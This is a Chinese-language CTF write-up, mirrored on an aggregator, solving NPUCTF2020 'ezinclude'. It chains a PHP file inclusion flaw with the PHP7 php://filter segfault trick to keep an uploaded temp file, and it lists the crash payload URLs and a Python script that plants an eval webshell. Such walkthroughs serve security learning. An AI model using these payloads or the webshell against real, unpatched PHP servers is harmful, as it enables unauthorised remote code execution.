0

NPUCTF2020 ezinclude_0x90-0x9F

 2 years ago
source link: https://sakurahack-y.github.io/2022/02/13/NPUCTF2020-ezinclude-0x90-0x9F/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

NPUCTF2020 ezinclude_0x90-0x9F

最近看了下一些大佬的博客,被打击到了,要学习的有太多了,加油吧!

进去直接来个错误???WTF?

疑似哈希长度拓展攻击,抓下包看看

芜湖,hash直接给我了?

直接传好像不太行?

祭出神器burp

得到文件名 flflflflag.php

访问一下文件:

得到如下response

HTTP/1.1 200 OK
Server: openresty
Date: Sun, 13 Feb 2022 04:47:35 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 241
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.33

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

我已经有了女朋友所以我比出题人强(手动狗头)

include 函数好家伙,文件包含应该有了

来读取下源码

解码如下:

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

过滤了很多东西,没法命令执行了。

那就扫一下目录把:

最终扫出来了一个

这个目录应该是告诉我们文件的名字,来结合文件包含使用。所以我们就要尝试去传shell

可以用php7 segment fault特性

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

参考链接;https://www.cnblogs.com/linuxsec/articles/11278477.html

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这里我们可以直接知道文件名就不需要爆破了

该方法仅适用于以下php7版本,php5并不存在该崩溃:

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

payload

php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd

php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

由于tmp目录一般是不可访问的,所以该漏洞常常和文件包含结合起来使用

exp如下:

import requests
from io import BytesIO
url="http://ec8f0167-007a-4dd5-84fc-989e567ab77c.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php @eval($_POST['x']);?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)

这里多了一个文件

使用蚁剑连接

测试成功了,但是无法添加,,莫名的错误

同理那就再添加个phpinfo吧

成功找到flag


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK